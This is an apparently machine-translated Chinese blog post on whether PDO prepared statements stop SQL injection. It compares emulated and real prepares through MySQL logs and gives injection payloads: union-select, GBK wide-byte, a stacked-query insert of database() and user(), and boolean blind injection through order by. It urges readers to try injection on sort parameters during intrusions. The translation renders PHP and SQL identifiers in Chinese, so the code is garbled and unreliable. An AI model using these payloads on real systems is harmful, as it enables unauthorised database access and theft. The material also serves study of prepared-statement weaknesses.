返回原题—— 预编译真的能完全防止SQL注入吗?有什么技巧可以绕过预编译进行注入吗?
首先,启用数据库日志记录,从数据库角度查看预编译如何影响SQL 语句。
显示诸如“general%”之类的变量。
General_log 指示是否启用日志记录,general_log_file 指示日志的位置。如果它关闭,您可以使用set GLOBAL General_log=1; (必须是root)打开日志记录。否则,使用set GLOBAL General_log=0; 关闭日志记录
事实上,数据库中的预编译有两种类型:模拟预编译和需要特殊配置的真实预编译。 (下面的测试环境是php5.4.45+apache+mysql5.7.26,环境的差异对正常的预编译分析影响不大,需要注意的是事后绕过注入的部分。)
真预编译与假预编译
默认值,或当今互联网上通常所说的预编译,写为:
?php
$用户名=$_POST[\’用户名\’];
$db=new PDO(\’mysql:host=localhost;dbname=test\’, \’root\’, \’root123\’);
$stmt=$db-prepare(\’从测试中选择密码,其中用户名=:username\’);
$stmt-bindParam(\’:用户名\’, $用户名);
$stmt-execute();
$结果=$stmt-fetchAll(PDO:FETCH_ASSOC);
var_dump($结果);
$db=空;
?
发帖用户名=root
正如预期的那样,找到了该值。让我们查看日志,看看我们传递的值发生了预编译。
2023-10-22T12:59:55.149736Z 5 使用TCP/IP 在测试中连接到root@localhost
2023-10-22T12:59:55.149993Z 5 当用户名=\’root\’ 时从测试查询中选择密码
2023-10-22T12:59:55.150987Z 5 停止
为什么当你刚刚连接并退出查询时,逻辑感觉就像是常规的SQL 语句?
这次什么也没发现。让我们访问日志看一下。
2023-10-22T13:12:13.619712Z 9 使用TCP/IP 在测试中连接到root@localhost
2023-10-22T13:12:13.619960Z 9 查询SELECT 密码FROM test for username=\’\\\’root\\\’\’
2023-10-22T13:12:13.620931Z 9 停止
现在你突然明白为什么默认的预编译模式模拟预编译被称为假预编译了。这是因为SQL执行过程中实际上没有参数绑定或预编译过程。本质上,它只对符号执行操作。例如,如果输入注入语句root\’Union select database()#,日志中的数据将如下所示:
2023-10-22T15:34:50.356115Z 11 使用TCP/IP 连接到测试中的root@localhost
2023-10-22T15:34:50.356353Z 11 查询SELECT Password FROM test where username=\’root\\\’ Union select database()#\’
2023-10-22T15:34:50.357303Z 11 已结束
那么为什么开发者会预编译错误呢?这是因为参数——PDO:ATTR_EMULATE_PREPARES。默认为true,所以设置为false后PDO使用模拟预编译模式。使用实际的预编译。开启该选项主要是为了保证兼容一些不支持预编译的数据库(例如以前版本的sqllite和MySQL)而使用客户端程序的内部参数绑定过程。内部准备完成后,将组合后的SQL语句发送到数据库执行。
虚假的预编译
要取消模拟预编译,请在原始代码中将ATTR_EMULATE_PREPARES 设置为false。
?php
$用户名=$_POST[\’用户名\’];
$db=new PDO(\’mysql:host=localhost;dbname=test\’, \’root\’, \’root123\’);
$db – setAttribute(PDO:ATTR_EMULATE_PREPARES, false);
$stmt=$db-prepare(\’从测试中选择密码,其中用户名=:username\’);
$stmt-bindParam(\’:用户名\’, $用户名);
$stmt-execute();
$结果=$stmt-fetchAll(PDO:FETCH_ASSOC);
var_dump($结果);
$db=空;
?
发帖用户名=root
看日志
231018 23:51:17 61 测试Connectroot@localhost
61 准备从测试中选择密码,其中用户名=?
61 从运行测试中选择密码(用户名=\’root\’)
此时数据库中的执行顺序是:先连接,然后准备语句,用问号占位,然后用输入代替问号,执行语句。
建立连接。
构建语法树。
嵌入
这就是为什么我们前面说预编译的作用是预先确定整个语句的功能,消除SQL语句中的二义性。如果我输入username=‘root’ 则没有输出。
我们来看看数据库日志。
2023-10-22T15:49:30.089718Z 24 Connectroot@localhost 使用TCP/IP 进行测试
2023-10-22T15:49:30.089986Z 24 从测试中准备SELECT 密码(用户名=?)
2023-10-22T15:49:30.090041Z 24 如果用户名=\’\\\’root\\\’\’ 则运行SELECT password FROM test
此时输入注入语句root\’Union select database()#。
2023-10-22T15:43:23.500819Z 17 Connectroot@localhost 使用TCP/IP 进行测试
2023-10-22T15:43:23.502097Z 17 准备从测试中选择密码(用户名=?)
2023-10-22T15:43:23.502165Z 17 执行SELECT 密码FROM test where username=\’root\\\’ Union select database()#\’
2023-10-22T15:43:23.502600Z 17 stmt 关闭
2023-10-22T15:43:23.502627Z 17 停止
如果你分析一下预编译的原理,你会发现预编译实际上是为了提高MySQL的效率而创建的(而不是为了防止SQL注入)。这是因为预编译可以先构建语法树,然后合并查询参数。通过消除一次构建语法的需要,树的复杂性极大地提高了具有大量数据和查询的数据库的操作效率。从原理出发,我们可以看到预编译在某些方面并不能完全阻止预编译。
真正的预编译
预编译下的sql注入点
宽字节注入的本质是数据库编码与代码编码不同。这允许用户输入精心构造的数据并通过编码转换吞掉转义字符。
如果你看SQL语句执行日志,你会发现它理论上是在本地模拟执行的SQL语句的预编译,然后只是将语句发送到数据库执行,所以模拟预编译可以看到有一个宽字节注射。只需使用\\ 对其进行转义即可。如果我们能找到一种方法吞掉这个\\,我们是否可以执行恶意的SQL语句?
测试环境:php5.3.29+apache2.4.39+mysql5.7.26
?php
$用户名=$_POST[\’用户名\’];
$db=new PDO(\’mysql:host=localhost;dbname=test;charset=gbk\’, \’root\’, \’root123\’);
$db – setAttribute(PDO:ATTR_EMULATE_PREPARES, false);
$db-query(\’设置名称GBK\’);
$stmt=$db-prepare(\’从测试中选择密码,其中用户名=:username\’);
$stmt-bindParam(\’:用户名\’, $用户名);
$stmt-execute();
$结果=$stmt-fetchAll(PDO:FETCH_ASSOC);
var_dump($结果);
$db=空;
?
当我们发帖时
用户名=1%df%27%20union%20select%20database();#
检查日志。
2023-10-26T00:51:20.931085Z 14 Connectroot@localhost 使用TCP/IP 进行测试
2023-10-26T00:51:20.931577Z 14 查询集名称GBK
2023-10-26T00:51:20.931809Z 14 QuerySELECT Password FROM Test where username=\’1\\云\’ Union select Database();#\’
2023-10-26T00:51:20.933058Z 14 停止
该语句在Navicat中可以成功执行,但网页上没有显示任何输出。从我看的文章来看,5.2.17已经成功实现了。
为什么真正的编译不能吞并执行恶意语句?是不是因为参数被预先绑定了?因为设置编码后,日志中的查询参数现在都是十六进制的了。
2023-10-26T01:20:47.891775Z 23 从测试中准备SELECT 密码(用户名=?)
2023-10-26T01:20:47.891842Z 23 如果用户名=0x31DF2720756E696F6E2073656C65637420646174616261736528293B23 则运行SELECT password FROM test
2023-10-26T01:20:47.892337Z 23 关闭系统
2023-10-26T01:20:47.892379Z 23 停止
因此,相比模拟预编译,真实编译要安全得多。模拟预编译下也实现了几种可用于预编译的注入方法。
宽字节
不带参数绑定的预编译,无论是真实预编译还是模拟预编译,都和没有预编译一样,而没有参数绑定和不编译一样,而且pdo默认支持栈注入,所以可以先通过栈注入插入值,然后查询插入的值。输出结果。
?php
$id=$_POST[\’id\’];
$dbs=\’mysql:host=localhost;dbname=test\’;
$dbname=\’根\’;
$passwd=\’root123\’;
$conn=新PDO($dbs, $dbname, $passwd);
# 准备好的声明
$stmt=$conn-prepare(\’SELECT * FROM test where id=$id\’);
$conn – setAttribute(PDO:ATTR_EMULATE_PREPARES, false);
$stmt-execute();
$结果=$stmt-fetchAll(PDO:FETCH_ASSOC);
var_dump($结果);
$conn=null; # 关闭链接
?
您可以发布1 项。
id=1;test(id,用户名,密码)插入值(114514,database(),user())
然后发布id=114514。
如果查看日志,您可以看到database() 和user() 的输出已成功检索。
2023-10-27T01:06:09.232609Z 173 Connectroot@localhost 正在使用TCP/IP 进行测试
2023-10-27T01:06:09.232961Z 173 QuerySELECT * FROM test, id=1;
2023-10-27T01:06:09.233159Z 173 查询插入测试(id,用户名,密码)值(114514,数据库(),用户())
2023-10-27T01:06:09.233581Z 173 停止
没有参数绑定
前面提到,order by 无法预编译,所以当遇到可控的排序函数时,通常会通过查看日志来了解原因。
?php
$col=$_POST[\’col\’];
$dbs=\’mysql:host=localhost;dbname=test\’;
$dbname=\’根\’;
$passwd=\’root123\’;
$conn=新PDO($dbs, $dbname, $passwd);
$conn – setAttribute(PDO:ATTR_EMULATE_PREPARES, false);
# 准备好的声明
$stmt=$conn-prepare(\’SELECT * FROM test order by :col\’);
$stmt-bindParam(\’:col\’, $col);
$stmt-execute();
$结果=$stmt-fetchAll(PDO:FETCH_ASSOC);
var_dump($结果);
$conn=null; # 关闭链接
?
如果你想按密码排序,请发布col=password。
你可能认为没有问题,但是我们来检查一下日志
2023-10-27T01:23:43.100087Z 187 Connectroot@localhost 正在使用TCP/IP 进行测试
2023-10-27T01:23:43.100579Z 187 QuerySELECT * 使用FROM \’password\’ 测试订单
2023-10-27T01:23:43.101405Z 187 停止
您会注意到引号会自动添加到您传递的密码值中。但这实际上违背了我们的目标。
底层查询过程直接使用order by后面的值来排序。一旦加上引号,查询的结果实际上就相当于order by NULL或者order by TRUE。非法言论。因此,order by 或group by 后面的参数不能被引用,而是被预编译参数绑定过程自动引用。这意味着这些位置的参数由于其执行结果而无法被预编译。错误。因此,如果你在入侵过程中遇到可疑的排序函数,你可以大胆尝试SQL注入,通常会成功。
这里我们还添加了一个在order by和group by之后插入的方法。如果报错,直接报错,然后直接插入即可。这可以通过创建布尔条件轻松完成。
您可以看到,排序结果根据rand() 的值为true 或false 而有所不同。因此,可以利用该特性进行布尔注入,如input rand(ascii(mid((select database() )),1,1) )96) 如果不这样做,输出结果会明显不同。如果注入成功,输出的应该是命令root dingzhen admin。
这样你就可以盲目地注入你想要的数据。
从这个思路就不难看出为什么有些地方不能预编译了。除了order by 和group by 之外还有什么吗?当然,只要加上引号就不行,会导致语句执行结果不正确。
表名:
栏目名称:
限额:
参与:
51zkw 的编辑们总结了这样的想法:不可引用的位置不能被预编译。这里我们看到了预编译的明显缺点。当然,你不能责怪预编译设计者。这是因为预编译最初的设计目的并不是为了防止注入,而是为了减少大批量时的查询次数。既然构建了语法树,出现错误是很自然的,但这样的错误却给黑客提供了可乘之机。
以上#PDO预编译和SQL注入相关内容来源仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91339.html